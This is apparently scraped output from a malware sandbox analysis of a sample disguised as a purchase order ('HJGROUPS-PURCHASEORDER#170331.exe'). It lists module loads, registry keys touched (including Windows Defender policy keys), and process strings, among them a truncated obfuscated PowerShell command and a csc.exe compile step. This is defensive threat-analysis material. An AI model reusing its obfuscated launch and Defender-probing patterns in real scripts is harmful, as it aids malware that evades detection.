"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135]3a:T13ba,"\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00000864.00000000.293247.FAD90000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00000864.00000000.293247.FAD90000.00000004.mdmp "\Software\Classes\AppID\powershell.exe" in Source: 00000000-00000864.00000000.293247.FAD90000.00000004.mdmp "Software\Microsoft\Windows Defender\Features" in Source: 00000000-00000864.00000001.295166.C3B83000.00000002.mdmp "Software\Microsoft\Windows Defender\MpEngine" in Source: 00000000-00000864.00000001.295166.C3B83000.00000002.mdmp "Software\Microsoft\Microsoft Antimalware\MpEngine" in Source: 00000000-00000864.00000001.295166.C3B83000.00000002.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00000864.00000001.295166.FAD90000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00000864.00000001.295166.FD170000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00000864.00000002.296961.A452A000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00000864.00000002.296961.A452A000.00000002.mdmp "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER\POLICY MANAGER" in Source: 00000000-00000864.00000002.296961.A452A000.00000002.mdmp "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS DEFENDER" in Source: 00000000-00000864.00000002.296961.A452A000.00000002.mdmp "Software\Microsoft\Windows Defender\MpEngine" in Source: 00000000-00000864.00000002.296961.A452A000.00000002.mdmp "Software\Microsoft\Windows Defender\Features" in Source: 00000000-00000864.00000002.296961.A452A000.00000002.mdmp "Software\Microsoft\Microsoft Antimalware\MpEngine" in Source: 00000000-00000864.00000002.296961.A452A000.00000002.mdmp "SOFTWARE\Policies\Microsoft" in Source: 00000000-00000864.00000002.296961.A452A000.00000002.mdmp "HKLM\" in Source: 00000000-00000864.00000002.296961.A452A000.00000002.mdmp "Software\Microsoft\RemovalTools\MRT" in Source: 00000000-00000864.00000002.296961.A452A000.00000002.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00000864.00000002.296961.FAE4F000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00000864.00000002.296961.FD170000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Server" in Source: 00000000-00000864.00000002.296961.FD246000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00005088.00000001.293020.68323000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00005088.00000001.293020.68323000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00005088.00000001.293020.68323000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00005088.00000001.293020.68323000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00005088.00000001.293020.68323000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00005088.00000001.293020.68323000.00000002.mdmp "try\Machine\Software\Classes\W" in Source: 00000000-00005088.00000001.293020.F1EE0000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00005088.00000001.293020.F1EE0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00005088.00000001.293020.F1EE0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00005088.00000001.293020.F1EE0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{66742402-F9B9-11D1-A202-0000F81FEDEE}\Instance" in Source: 00000000-00005088.00000001.293020.F1FB1000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder" in Source: 00000000-00005088.00000001.293020.F1FB1000.00000004.mdmp "Registry\Machine\Software\Classes\ExplorerCLSIDFlags\{66742402-F9B9-11D1-A202-0000F81FEDEE}" in Source: 00000000-00005088.00000001.293020.F1FB1000.00000004.mdmp "Registry\Machine\Software\Classes\Drive\shellex\FolderExtensions\{fbeb8a05-beee-4442-804e-409d6c4515e9}" in Source: 00000000-00005088.00000001.293020.F1FB1000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{66742402-F9B9-11D1-A202-0000F81FEDEE}\OverrideFileSystemProperties" in Source: 00000000-00005088.00000001.293020.F1FB1000.00000004.mdmp "REGISTRY\USER\S-1-5-21-1271187874-1938232448-3812392235-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00005088.00000001.293020.F2BC2000.00000004.mdmp3b:T3c8d,"HJGROUPS-PURCHASEORDER#170331.exe" loaded module "KERNEL32" at base 7fffd3690000 "HJGROUPS-PURCHASEORDER#170331.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7fffd20e0000 "HJGROUPS-PURCHASEORDER#170331.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7fffd20e0000 "HJGROUPS-PURCHASEORDER#170331.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7fffd20e0000 "HJGROUPS-PURCHASEORDER#170331.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7fffd39b0000 "HJGROUPS-PURCHASEORDER#170331.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7fffd20e0000 "HJGROUPS-PURCHASEORDER#170331.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7fffd20e0000 "HJGROUPS-PURCHASEORDER#170331.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7fffd20e0000 "HJGROUPS-PURCHASEORDER#170331.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7fffb8670000 "HJGROUPS-PURCHASEORDER#170331.exe" loaded module "ADVAPI32.DLL" at base 7fffd2bc0000 "HJGROUPS-PURCHASEORDER#170331.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7fffacfd0000 "HJGROUPS-PURCHASEORDER#170331.exe" loaded module "SHLWAPI.DLL" at base 7fffd3e20000 "HJGROUPS-PURCHASEORDER#170331.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7fffd0b00000 "HJGROUPS-PURCHASEORDER#170331.exe" loaded module "VERSION.DLL" at base 7fffc6fd0000 "HJGROUPS-PURCHASEORDER#170331.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7fff9b600000 "HJGROUPS-PURCHASEORDER#170331.exe" loaded module "USER32.DLL" at base 7fffd3780000 "HJGROUPS-PURCHASEORDER#170331.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7fffd20e0000 "HJGROUPS-PURCHASEORDER#170331.exe" loaded module "MSCOREE.DLL" at base 7fffba3d0000 "HJGROUPS-PURCHASEORDER#170331.exe" loaded module "NTDLL" at base 7fffd4690000 "HJGROUPS-PURCHASEORDER#170331.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7fffd2490000 "HJGROUPS-PURCHASEORDER#170331.exe" loaded module "PSAPI.DLL" at base 7fffd3c10000 "HJGROUPS-PURCHASEORDER#170331.exe" loaded module "RPCRT4.DLL" at base 7fffd2820000 "HJGROUPS-PURCHASEORDER#170331.exe" loaded module "KERNEL32.DLL" at base 7fffd3690000 "HJGROUPS-PURCHASEORDER#170331.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\3B9003E4F27D92E40668F0EFAD11E022\MSCORLIB.NI.DLL" at base 7fff9a040000 "HJGROUPS-PURCHASEORDER#170331.exe" loaded module "OLE32.DLL" at base 7fffd3a70000 "HJGROUPS-PURCHASEORDER#170331.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7fffd2490000 "HJGROUPS-PURCHASEORDER#170331.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7fffd20e0000 "HJGROUPS-PURCHASEORDER#170331.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7fffaaad0000 "HJGROUPS-PURCHASEORDER#170331.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\CE0FD4F5B50BAA17E7B80E4EE874AD11\SYSTEM.NI.DLL" at base 7fff99420000 "HJGROUPS-PURCHASEORDER#170331.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\990501E6199819806F01C8ECAC88BAAC\SYSTEM.CORE.NI.DLL" at base 7fff98990000 "HJGROUPS-PURCHASEORDER#170331.exe" loaded module "NTDLL.DLL" at base 7fffd4690000 "HJGROUPS-PURCHASEORDER#170331.exe" loaded module "KERNELBASE" at base 7fffd20e0000 "cmd.exe" loaded module "KERNEL32" at base 7fffd3690000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7fffd20e0000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7fffd20e0000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7fffd20e0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7fffd39b0000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7fffd20e0000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7fffd20e0000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7fffd20e0000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7fffb8670000 "cmd.exe" loaded module "KERNEL32.DLL" at base 7fffd3690000 "cmd.exe" loaded module "NTDLL.DLL" at base 7fffd4690000 "cmd.exe" loaded module "KERNELBASE" at base 7fffd20e0000 "cmd.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 7fffd0b00000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7fffd20e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7fffd20e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7fffd20e0000 "powershell.exe" loaded module "KERNEL32" at base 7fffd3690000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7fffb8670000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7fffd3690000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7fffd2bc0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7fffacfd0000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7fffd3e20000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7fffd0b00000 "powershell.exe" loaded module "VERSION.DLL" at base 7fffc6fd0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7fff9b600000 "powershell.exe" loaded module "USER32.DLL" at base 7fffd3780000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7fffd20e0000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7fffba3d0000 "powershell.exe" loaded module "NTDLL" at base 7fffd4690000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7fffd2490000 "powershell.exe" loaded module "PSAPI.DLL" at base 7fffd3c10000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7fffd2820000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\3B9003E4F27D92E40668F0EFAD11E022\MSCORLIB.NI.DLL" at base 7fff9a040000 "powershell.exe" loaded module "OLE32.DLL" at base 7fffd3a70000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7fffd2490000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7fffd4570000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\CE0FD4F5B50BAA17E7B80E4EE874AD11\SYSTEM.NI.DLL" at base 7fff99420000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\990501E6199819806F01C8ECAC88BAAC\SYSTEM.CORE.NI.DLL" at base 7fff98990000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\86AF2F4F2745738837C95F24472C32CA\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7fffaaa20000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7fffd0a70000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7fffd1c40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\EA893D7E336A196C927C3F1251A1D1A9\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7fff96910000 "powershell.exe" loaded module "COMBASE.DLL" at base 7fffd2490000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7fffd2490000 "powershell.exe" loaded module "NTDLL.DLL" at base 7fffd4690000 "powershell.exe" loaded module "SHELL32.DLL" at base 1dff21b0000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7fffd1ab0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 1dff29b0000 "powershell.exe" loaded module "AMSI.DLL" at base 7fffc3bd0000 "powershell.exe" loaded module "WLDP.DLL" at base 7fffd12a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7fffc6fd0000 "powershell.exe" loaded module "CRYPT32.DLL" at base 1dff29b0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPOAV.DLL" at base 7fffc3b50000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7fffb6c10000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7fffb6a70000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPXSIP.DLL" at base 7fffb6a20000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PWRSHSIP.DLL" at base 7fffbd250000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\8Y81ACYE.DLL" at base 7fffb5590000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\F4889FA032F8023FE280A54700D6D3A5\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7fffaa980000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\2A25B59872A72DA9B55F952AB1B0BC8B\SYSTEM.CONFIGURATION.NI.DLL" at base 7fffa9b40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\F0078C8C05B31633E5966C5629E65602\SYSTEM.XML.NI.DLL" at base 7fffa3220000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\6287E09015A311A64C4FE0304818F8C3\SYSTEM.MANAGEMENT.NI.DLL" at base 7fffa97c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\2D1FF2AB3131DE6A507F22CCC53B273A\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7fffa8910000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\BF3D2E6042D943E0FEC9CCC0D72C8F3B\SYSTEM.DATA.NI.DLL" at base 7fff95f80000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7fffa7eb0000 "powershell.exe" loaded module "BCRYPT.DLL" at base 7fffd1390000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7fffd20e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7fffaaad0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\49750EA038273F75321E479EF1525D1E\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7fffaa730000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\DD0ED795D7234A2AE4314DE052867161\SYSTEM.TRANSACTIONS.NI.DLL" at base 7fffa8830000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7fffb5470000 "powershell.exe" loaded module "SECUR32.DLL" at base 7fffc68d0000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7fffd0d50000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7fffcf0e0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPCLIENT.DLL" at base 7fffa4460000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7fffd3690000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7fffd2bc0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7fffd2490000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\9494EDA0C9AF503CB61FE450B5BA9C1A\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7fffa7c70000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\B4C34523C582146DEA3CA389E3487145\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7fffb3480000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7fffcb7f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\\WINDOWS.STATEREPOSITORYPS.DLL" at base 7fffbc660000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 7fffc31b0000 "powershell.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7fffd20e0000 "powershell.exe" loaded module "VIRTDISK.DLL" at base 7fffcf080000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7fffcfab0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTYPES.DLL" at base 7fffcf970000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPRESOLVER.DLL" at base 7fffb87b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ONECOREUAPCOMMONPROXYSTUB.DLL" at base 7fffcac80000 "powershell.exe" loaded module "KERNELBASE" at base 7fffd20e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\86AF2F4F2745738837C95F24472C32CA\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7fffaab50000 "powershell.exe" loaded module "SHELL32.DLL" at base 23afd370000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 23afdb70000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7fffbe260000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7fffbc780000 "powershell.exe" loaded module "CRYPT32.DLL" at base 23afdb70000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPXSIP.DLL" at base 7fffb6a40000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PWRSHSIP.DLL" at base 7fffbe250000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\2A25B59872A72DA9B55F952AB1B0BC8B\SYSTEM.CONFIGURATION.NI.DLL" at base 7fffaaa10000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\F4889FA032F8023FE280A54700D6D3A5\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7fffaa700000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\6287E09015A311A64C4FE0304818F8C3\SYSTEM.MANAGEMENT.NI.DLL" at base 7fffa9b10000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\2D1FF2AB3131DE6A507F22CCC53B273A\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7fffa97c0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7fffa87c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\49750EA038273F75321E479EF1525D1E\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7fffaa3e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\DD0ED795D7234A2AE4314DE052867161\SYSTEM.TRANSACTIONS.NI.DLL" at base 7fffa85b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\468FA5AE84991AAF4D90ECEE8788F024\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7fff95260000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\B4C34523C582146DEA3CA389E3487145\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7fffb6a10000 "powershell.exe" loaded module "RASAPI32.DLL" at base 7fffa7da0000 "powershell.exe" loaded module "WS2_32.DLL" at base 7fffd4390000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7fffd0f70000 "powershell.exe" loaded module "RASMAN.DLL" at base 7fffb3470000 "powershell.exe" loaded module "WINHTTP.DLL" at base 7fffcab40000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7fffb3e10000 "powershell.exe" loaded module "IPHLPAPI.DLL" at base 7fffd0620000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7fffc8d60000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7fffca3e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\DIASYMREADER.DLL" at base 7fff906000003c:T4e3,"powershell.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "powershell.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "powershell.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}\TREATAS") "powershell.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "powershell.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "powershell.exe" touched "Start Menu Cache" (Path: "HKCU\CLSID\{660B90C8-73A9-4B58-8CAE-355B7F55341B}\TREATAS") "powershell.exe" touched "ShellItem Shell Namespace helper" (Path: "HKCU\CLSID\{9AC9FBE1-E0A2-4AD6-B4EE-E212013EA917}\TREATAS") "powershell.exe" touched "Activation Layout Preferences" (Path: "HKCU\CLSID\{0DC1AB8B-A52D-4BA8-BD76-E2819386FB2F}\TREATAS") "powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32")3d:T5a0,Observed system executable string:"\Device\HarddiskVolume3\Windows\System32\cmd.exe" [Source: 00000000-00007312-00000BC0-3468322145] Observed system executable string:"%WINDIR%\SYSTEM32\cmd.exe" [Source: 00000000-00007312-00000BC0-3468324796] Observed system executable string:"\Device\HarddiskVolume3\Windows\System32\conhost.exe" [Source: 00000000-00003572-00000BC0-3468477054] Observed system executable string:"\Device\HarddiskVolume3\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00003572-00000BC0-3471839337] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00003572-00000BC0-3471844945] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0" [Source: 00000000-00003572-00000C46-7856256587], Observed system executable string:""%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$j=92-52;$xdwMRWE='NV3Latpq';$li8WT7BZ='e9f6ca92aaacaef6b790" [Source: 00000000-00005088-00000C46-24909856965] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe" [Source: 00000000-00000864-00000BC0-3496454221] Observed system executable string:""%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"%TEMP%\u2nd3ci3\u2nd" [Source: 00000000-00000864-00000C46-32627364893]3e:T2dba,Process "cmd.exe" (UID: 00000000-00003572) was launched with new environment variables: 